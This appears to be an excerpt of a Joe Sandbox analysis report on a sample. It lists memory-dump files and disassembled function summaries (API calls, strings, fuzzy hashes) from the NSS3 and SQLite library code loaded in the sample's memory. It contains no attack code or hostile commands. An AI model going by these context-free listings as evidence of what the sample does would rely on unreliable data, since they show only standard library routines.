Associated: 00000000.00000002.1937567224.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FC7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001005000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001007000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000109A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000111B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001127000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001160000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000116C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011A5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000123B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001276000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001300000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001345000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001358000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001397000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001399000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000139B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001401000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001428000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000142A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001432000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000014E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001746000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Exception@8H_prolog3Throw
String ID:
API String ID: 3670251406-0
Opcode ID: 15e566f635df3ad3a10d77ea5b12e061ede2b56c590b6189f9d9f207dc38b446
Instruction ID: 90c1fee031d6c202245859b7d430cb7e2ebf48fb1dbe975c891531b437e185b4
Opcode Fuzzy Hash: 15e566f635df3ad3a10d77ea5b12e061ede2b56c590b6189f9d9f207dc38b446
Instruction Fuzzy Hash: D5012C35601203DBDB25AFA4C95277E36A6EBCA360B20443CF549E72D1DFB08C51DB91

Non-executed Functions

Function 6C7C6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C912120,6C7C7E60), ref: 6C7C6EBC
TlsGetValue.KERNEL32 ref: 6C7C6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C7C6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C7C6F25

Part of subcall function 6C79A900: TlsGetValue.KERNEL32(00000000,?,6C9114E4,?,6C734DD9), ref: 6C79A90F
Part of subcall function 6C79A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C79A94F

PR_Unlock.NSS3 ref: 6C7C6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C7C6FA9
TlsGetValue.KERNEL32 ref: 6C7C70B4
EnterCriticalSection.KERNEL32(?), ref: 6C7C70C8
PR_CallOnce.NSS3(6C9124C0,6C807590), ref: 6C7C7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7C7117
SECOID_Init.NSS3 ref: 6C7C7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C7C714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C71A9
PR_NotifyAllCondVar.NSS3 ref: 6C7C71CF
PR_Unlock.NSS3 ref: 6C7C71DD
free.MOZGLUE(?), ref: 6C7C71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7C7208
free.MOZGLUE(00000000), ref: 6C7C7221
free.MOZGLUE(00000001), ref: 6C7C7235
TlsGetValue.KERNEL32 ref: 6C7C724A
EnterCriticalSection.KERNEL32(?), ref: 6C7C725E
PR_NotifyCondVar.NSS3 ref: 6C7C7273
PR_Unlock.NSS3 ref: 6C7C7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C7C7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C900148,,defaultModDB,internalKeySlot), ref: 6C7C74CC
free.MOZGLUE(00000000), ref: 6C7C7513
free.MOZGLUE(00000000), ref: 6C7C751B
free.MOZGLUE(00000000), ref: 6C7C7528
free.MOZGLUE(00000000), ref: 6C7C753C
free.MOZGLUE(00000000), ref: 6C7C7550
free.MOZGLUE(00000000), ref: 6C7C7561
free.MOZGLUE(00000000), ref: 6C7C7572
free.MOZGLUE(00000000), ref: 6C7C7583
free.MOZGLUE(00000000), ref: 6C7C7594
free.MOZGLUE(00000000), ref: 6C7C75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C7C75BD
free.MOZGLUE(00000000), ref: 6C7C75C8
free.MOZGLUE(00000000), ref: 6C7C75F1
PR_NewLock.NSS3 ref: 6C7C7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C7C7686
PR_NewLock.NSS3 ref: 6C7C76A2

Part of subcall function 6C8798D0: calloc.MOZGLUE(00000001,00000084,6C7A0936,00000001,?,6C7A102C), ref: 6C8798E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C7C76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C7C7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C7C771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C7C7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C7C774A
DeleteCriticalSection.KERNEL32(?), ref: 6C7C7770
free.MOZGLUE(?), ref: 6C7C7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7C779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7C77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C7C77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7C77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C7C7821
PORT_Alloc_Util.NSS3(?), ref: 6C7C7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7C785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7C786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C7C78AC
free.MOZGLUE(00000000), ref: 6C7C78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C7C78F3
free.MOZGLUE(00000000), ref: 6C7C78FC
free.MOZGLUE(00000000), ref: 6C7C791C

Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07AD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07CD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07D6
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C73204A), ref: 6C7A07E4
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,6C73204A), ref: 6C7A0864
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7A0880
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C73204A), ref: 6C7A08CB
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08D7
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08FB

Strings

kbi., xrefs: 6C7C7886
extern:, xrefs: 6C7C772B
rdb:, xrefs: 6C7C7744
sql:, xrefs: 6C7C76FE
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C7C74C7
NSS Internal Module, xrefs: 6C7C74A2, 6C7C74C6
Spac, xrefs: 6C7C7389
dll, xrefs: 6C7C788E
,defaultModDB,internalKeySlot, xrefs: 6C7C748D, 6C7C74AA
dbm:, xrefs: 6C7C7716

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 1ebea883bf0f9b334776572720ea460fb88412a9f50a2fe860f89e3e2c9bf1bb
Instruction ID: acb66e369ea5f034af2d421bc51c80a552361600eb0d96043cbea435dd087e19
Opcode Fuzzy Hash: 1ebea883bf0f9b334776572720ea460fb88412a9f50a2fe860f89e3e2c9bf1bb
Instruction Fuzzy Hash: 985205B1F046069FEF119F64CE467AA7BF4AF06308F244438ED15A6A41EB31D954CB93

Function 6C7D6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140(?,6C8DA8EC,0000006C), ref: 6C7D6DC6
memcpy.VCRUNTIME140(?,6C8DA958,0000006C), ref: 6C7D6DDB
memcpy.VCRUNTIME140(?,6C8DA9C4,00000078), ref: 6C7D6DF1
memcpy.VCRUNTIME140(?,6C8DAA3C,0000006C), ref: 6C7D6E06
memcpy.VCRUNTIME140(?,6C8DAAA8,00000060), ref: 6C7D6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7D6E38

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C7D6E76
TlsGetValue.KERNEL32 ref: 6C7D726F
EnterCriticalSection.KERNEL32(?), ref: 6C7D7283

Strings

!, xrefs: 6C7D7123

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 72dd850d64a68a579c2087f38374714a3a560ff5df459c02126560b8285287d5
Instruction ID: 8cb6b0ad2ab6a9a6120ba079b8747af3489f64afe5f0f36cc326c8b88ad6a757
Opcode Fuzzy Hash: 72dd850d64a68a579c2087f38374714a3a560ff5df459c02126560b8285287d5
Instruction Fuzzy Hash: 0D72AF75E052199FDF20CF28CD8879ABBB5BF49308F1145A9D80DA7705EB31AA84CF91

Function 6C79E6E0 Relevance: 44.2, APIs: 17, Strings: 8, Instructions: 452stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,6C79DA6A,?,00000000,?,?), ref: 6C79E6FF
sqlite3_initialize.NSS3(?,?,00000000,?,6C79DA6A,?,00000000,?,?), ref: 6C79E76B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6C79DA6F,///,00000003,?,?,00000000), ref: 6C79E7AC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6C79DA71,///,00000003), ref: 6C79E7C8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C79E8E8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C79E908
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C79E921
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C79E978
memcmp.VCRUNTIME140(?,?,6C79DA6A), ref: 6C79E991
sqlite3_initialize.NSS3(?,?,00000000,?,6C79DA6A,?,00000000,?,?), ref: 6C79E9FA
memcpy.VCRUNTIME140(?,6C79DA6A,00000000,?,?,00000000), ref: 6C79EA3A
sqlite3_initialize.NSS3(?,?,00000000), ref: 6C79EA55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C79EABA
sqlite3_mprintf.NSS3(no such %s mode: %s,6C8EE039,?), ref: 6C79EB9F
sqlite3_free.NSS3(000000FC,?,?,?,?,00000000), ref: 6C79EBDB
sqlite3_mprintf.NSS3(no such vfs: %s,?,?,?,00000000), ref: 6C79EC1A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,//localhost/,0000000C), ref: 6C79EC2E

Strings

///, xrefs: 6C79E7A3, 6C79E7C2
no such vfs: %s, xrefs: 6C79EC15
cach, xrefs: 6C79E93A
no such %s mode: %s, xrefs: 6C79EB9A
%s mode not allowed: %s, xrefs: 6C79ECB7
//localhost/, xrefs: 6C79EC26
mode, xrefs: 6C79EC58
file, xrefs: 6C79E738

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: strlen$sqlite3_initializestrncmp$sqlite3_mprintf$memcmpmemcpysqlite3_freestrcmp
String ID: %s mode not allowed: %s$///$//localhost/$cach$file$mode$no such %s mode: %s$no such vfs: %s
API String ID: 3798319595-1352301890
Opcode ID: 338f45e5ad9d2da0aeb7fabc871ac1c5991fb98108fb2ab226666ee6c603ff72
Instruction ID: 15499a95802ed46085e71c651f6cc62cf221499a18e23b316ab6d2fcdd68fe0c
Opcode Fuzzy Hash: 338f45e5ad9d2da0aeb7fabc871ac1c5991fb98108fb2ab226666ee6c603ff72
Instruction Fuzzy Hash: DDF12471E0421D8FEB10CFA5DA81BBEBBB1BF06318F180539D86267A91D7359905CBD2

Function 6C758460 Relevance: 41.3, APIs: 22, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6C7584FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6C7588BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6C7588CE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7588E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6C7588F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C75894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C75895F
sqlite3_randomness.NSS3(00000008,?), ref: 6C758914

Part of subcall function 6C7431C0: sqlite3_initialize.NSS3 ref: 6C7431D6

sqlite3_randomness.NSS3(00000004,?), ref: 6C758A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C758A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C758A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C758B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C758B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6C758BAD

Strings

cannot limit WAL size: %s, xrefs: 6C759188

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: 4a2292469533262d658391507f4b0bff043f14ebc5e24053b931f89ae11c7717
Instruction ID: 016b4f32e078ed4d7c93537a8f14c5a7484ac657a3c64d304d22748a9a66de5c
Opcode Fuzzy Hash: 4a2292469533262d658391507f4b0bff043f14ebc5e24053b931f89ae11c7717
Instruction Fuzzy Hash: 46929071A08301DFD704CF29C981A5AB7F1FF88318F58892DE99987751EB31E855CB82

Function 6C81AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C81ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C81ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C81ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C81AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C81ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C81ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C81ADF0

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C81B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C81B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C81B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C81B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C81B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C81B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C81B40C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 73d19eec94edf06561d56f8892004d7887ddb602ff25d20b130be21bb3aa32d5
Instruction ID: e1e706c2bd35f93a30d2f2dcbf92806dd23207765668890be0c1cc4b75cf64fa
Opcode Fuzzy Hash: 73d19eec94edf06561d56f8892004d7887ddb602ff25d20b130be21bb3aa32d5
Instruction Fuzzy Hash: 1822B4B15083029FE720CF14CE45BA677E1AF4430CF14897CE8585BB92E772E859CB96

Function 6C79ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C79ED38

Part of subcall function 6C734F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C734FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C79EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C79EFE4

Part of subcall function 6C85DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C735001,?,00000003,00000000), ref: 6C85DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C79F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C79F129
sqlite3_mprintf.NSS3(optimize), ref: 6C79F1D1
sqlite3_free.NSS3(?), ref: 6C79F368

Strings

offsets, xrefs: 6C79EFAF, 6C79EFDF, 6C79F01F
optimize, xrefs: 6C79F199, 6C79F1CC, 6C79F211
snippet, xrefs: 6C79EF05, 6C79EF37, 6C79EF7C
fts4aux, xrefs: 6C79ECF9
porter, xrefs: 6C79ED97
fts3, xrefs: 6C79F247
fts4, xrefs: 6C79F2AD
fts3tokenize, xrefs: 6C79F30F
simple, xrefs: 6C79ED79
unicode61, xrefs: 6C79EDB5
fts3_tokenizer, xrefs: 6C79EE1A, 6C79EEA8
matchinfo, xrefs: 6C79F04F, 6C79F082, 6C79F0C2, 6C79F0F2, 6C79F124, 6C79F169

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 5c1fac6b3d86e5a83c037c945aad3a94230f5c10f289308ba16831f31dbeb66f
Instruction ID: c34bfc127825124fb2f4e8eb1260fbbb7ad920f0aef159695b8fdfaebf5300e8
Opcode Fuzzy Hash: 5c1fac6b3d86e5a83c037c945aad3a94230f5c10f289308ba16831f31dbeb66f
Instruction Fuzzy Hash: CB02F9B1B083009BE7049F71AE4A72B36B57BC570CF24893DE89947B41EB75E846C782

Function 6C7A4420 Relevance: 32.7, APIs: 7, Strings: 11, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7A4EE3

Strings

w=zl, xrefs: 6C7A47FB
weekday , xrefs: 6C7A54AB
a CHECK constraint, xrefs: 6C7A4D62, 6C7A4D6D, 6C7A4E95, 6C7A4EA0
a generated column, xrefs: 6C7A4D58, 6C7A4E8B
non-deterministic use of %s() in %s, xrefs: 6C7A4D71, 6C7A4EA4
start of , xrefs: 6C7A517A
-, xrefs: 6C7A4FBA
